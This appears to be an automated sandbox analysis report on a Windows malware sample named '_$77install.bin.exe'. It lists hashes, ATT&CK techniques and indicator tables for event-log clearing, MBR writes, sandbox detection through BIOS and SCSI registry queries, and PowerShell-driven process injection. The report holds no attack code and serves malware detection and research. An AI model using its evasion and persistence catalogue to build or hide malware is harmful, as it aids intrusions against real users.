b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

Analysis

max time kernel
150s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21-08-2024 05:04

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General

Target

_$77install.bin.exe
Size

163KB
MD5

1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1

2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512

859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP

3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score

10^/10

bootkit defense_evasion discovery execution persistence

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2624 created 616	2624	powershell.EXE	5

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2624	powershell.EXE

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2624 set thread context of 2528	2624	powershell.EXE	88

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	_$77install.bin.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1724216741"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001800101D769F2C = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000e45df6f77d4c1b49abf52b22dcfbc03c00000000020000000000106600000001000020000000c043873fdc18884719a04141a70ea236733dd488261ea98f278477d76e52c568000000000e80000000020000200000001b1a4c513ff3eda4add6337b2547424f78ee06e600995b40624bb5c2aa14c19380000000188692b7b9ca2f7226f0858a1e418188c3ba3cf3171233732428822f3df9b6a542d6575c5da7fdf9623f5ddf3be57d127070d97aa146663792f6907c3929d4c43082f91f3f9930bbdc2f18df7f583ab48ff58f03a22f34729564cdf2f3ed0c03f07976e4dd05692d7792f92a9b75f641f73eb10695e28c1d35f61ee650579f9440000000d2d699731d02c80d7ea8c75d26b537609517fdf338746f6739be81565c8524bb8c60607a4d0f025ea92aa70c1b1329c0316c6388ad14cf1ce9f79f4ce1e73a0c	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 21 Aug 2024 05:05:42 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001800101D769F2C"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2624	powershell.EXE
2624	powershell.EXE
2624	powershell.EXE
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
3136	wmiprvse.exe
3136	wmiprvse.exe
3136	wmiprvse.exe
3136	wmiprvse.exe
2528	dllhost.exe
2528	dllhost.exe
3136	wmiprvse.exe
3136	wmiprvse.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
620	Process not Found
1756	Process not Found
784	Process not Found
4632	Process not Found
2984	Process not Found
1360	Process not Found
1376	Process not Found
1888	Process not Found
460	Process not Found
4068	Process not Found
3576	Process not Found
3680	Process not Found
4048	Process not Found
4140	Process not Found
2668	Process not Found
4212	Process not Found
4220	Process not Found
4224	Process not Found
4256	Process not Found
4300	Process not Found
4036	Process not Found
4968	Process not Found
556	Process not Found
4012	Process not Found
4112	Process not Found
852	Process not Found
2756	Process not Found
3464	Process not Found
216	Process not Found
856	Process not Found
4696	Process not Found
3384	Process not Found
2872	Process not Found
3184	Process not Found
4184	Process not Found
2892	Process not Found
3512	Process not Found
3900	Process not Found
3892	Process not Found
2384	Process not Found
2956	Process not Found
2808	Process not Found
3876	Process not Found
2740	Process not Found
3856	Process not Found
1668	Process not Found
3412	Process not Found
4500	Process not Found
3076	Process not Found
3528	Process not Found
3284	Process not Found
4044	Process not Found
3868	Process not Found
228	Process not Found
2120	Process not Found
488	Process not Found
2988	Process not Found
2280	Process not Found
4996	Process not Found
3496	Process not Found
2192	Process not Found
656	Process not Found
3172	Process not Found
4928	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	powershell.EXE
Token: SeDebugPrivilege	2624	powershell.EXE
Token: SeDebugPrivilege	2528	dllhost.exe
Token: SeShutdownPrivilege	376	dwm.exe
Token: SeCreatePagefilePrivilege	376	dwm.exe
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	1200	svchost.exe
Token: SeCreatePagefilePrivilege	1200	svchost.exe
Token: SeShutdownPrivilege	1200	svchost.exe
Token: SeCreatePagefilePrivilege	1200	svchost.exe
Token: SeShutdownPrivilege	1200	svchost.exe
Token: SeCreatePagefilePrivilege	1200	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2376	svchost.exe
Token: SeIncreaseQuotaPrivilege	2376	svchost.exe
Token: SeSecurityPrivilege	2376	svchost.exe
Token: SeTakeOwnershipPrivilege	2376	svchost.exe
Token: SeLoadDriverPrivilege	2376	svchost.exe
Token: SeBackupPrivilege	2376	svchost.exe
Token: SeRestorePrivilege	2376	svchost.exe
Token: SeShutdownPrivilege	2376	svchost.exe
Token: SeSystemEnvironmentPrivilege	2376	svchost.exe
Token: SeManageVolumePrivilege	2376	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2376	svchost.exe
Token: SeIncreaseQuotaPrivilege	2376	svchost.exe
Token: SeSecurityPrivilege	2376	svchost.exe
Token: SeTakeOwnershipPrivilege	2376	svchost.exe
Token: SeLoadDriverPrivilege	2376	svchost.exe
Token: SeSystemtimePrivilege	2376	svchost.exe
Token: SeBackupPrivilege	2376	svchost.exe
Token: SeRestorePrivilege	2376	svchost.exe
Token: SeShutdownPrivilege	2376	svchost.exe
Token: SeSystemEnvironmentPrivilege	2376	svchost.exe
Token: SeUndockPrivilege	2376	svchost.exe
Token: SeManageVolumePrivilege	2376	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2376	svchost.exe
Token: SeIncreaseQuotaPrivilege	2376	svchost.exe
Token: SeSecurityPrivilege	2376	svchost.exe
Token: SeTakeOwnershipPrivilege	2376	svchost.exe
Token: SeLoadDriverPrivilege	2376	svchost.exe
Token: SeSystemtimePrivilege	2376	svchost.exe
Token: SeBackupPrivilege	2376	svchost.exe
Token: SeRestorePrivilege	2376	svchost.exe
Token: SeShutdownPrivilege	2376	svchost.exe
Token: SeSystemEnvironmentPrivilege	2376	svchost.exe
Token: SeUndockPrivilege	2376	svchost.exe
Token: SeManageVolumePrivilege	2376	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2376	svchost.exe
Token: SeIncreaseQuotaPrivilege	2376	svchost.exe
Token: SeSecurityPrivilege	2376	svchost.exe
Token: SeTakeOwnershipPrivilege	2376	svchost.exe
Token: SeLoadDriverPrivilege	2376	svchost.exe
Token: SeSystemtimePrivilege	2376	svchost.exe
Token: SeBackupPrivilege	2376	svchost.exe
Token: SeRestorePrivilege	2376	svchost.exe
Token: SeShutdownPrivilege	2376	svchost.exe
Token: SeSystemEnvironmentPrivilege	2376	svchost.exe
Token: SeUndockPrivilege	2376	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 2528	2624	powershell.EXE	88
PID 2624 wrote to memory of 2528	2624	powershell.EXE	88
PID 2624 wrote to memory of 2528	2624	powershell.EXE	88
PID 2624 wrote to memory of 2528	2624	powershell.EXE	88
PID 2624 wrote to memory of 2528	2624	powershell.EXE	88
PID 2624 wrote to memory of 2528	2624	powershell.EXE	88
PID 2624 wrote to memory of 2528	2624	powershell.EXE	88
PID 2624 wrote to memory of 2528	2624	powershell.EXE	88
PID 2528 wrote to memory of 616	2528	dllhost.exe	5
PID 2528 wrote to memory of 668	2528	dllhost.exe	7
PID 2528 wrote to memory of 968	2528	dllhost.exe	12
PID 2528 wrote to memory of 376	2528	dllhost.exe	13
PID 668 wrote to memory of 2564	668	lsass.exe	46
PID 668 wrote to memory of 2564	668	lsass.exe	46
PID 2528 wrote to memory of 732	2528	dllhost.exe	14
PID 2528 wrote to memory of 876	2528	dllhost.exe	15
PID 2528 wrote to memory of 1124	2528	dllhost.exe	17
PID 2528 wrote to memory of 1132	2528	dllhost.exe	18
PID 668 wrote to memory of 2564	668	lsass.exe	46
PID 2528 wrote to memory of 1140	2528	dllhost.exe	19
PID 2528 wrote to memory of 1188	2528	dllhost.exe	20
PID 2528 wrote to memory of 1244	2528	dllhost.exe	21
PID 2528 wrote to memory of 1280	2528	dllhost.exe	22
PID 2528 wrote to memory of 1340	2528	dllhost.exe	23
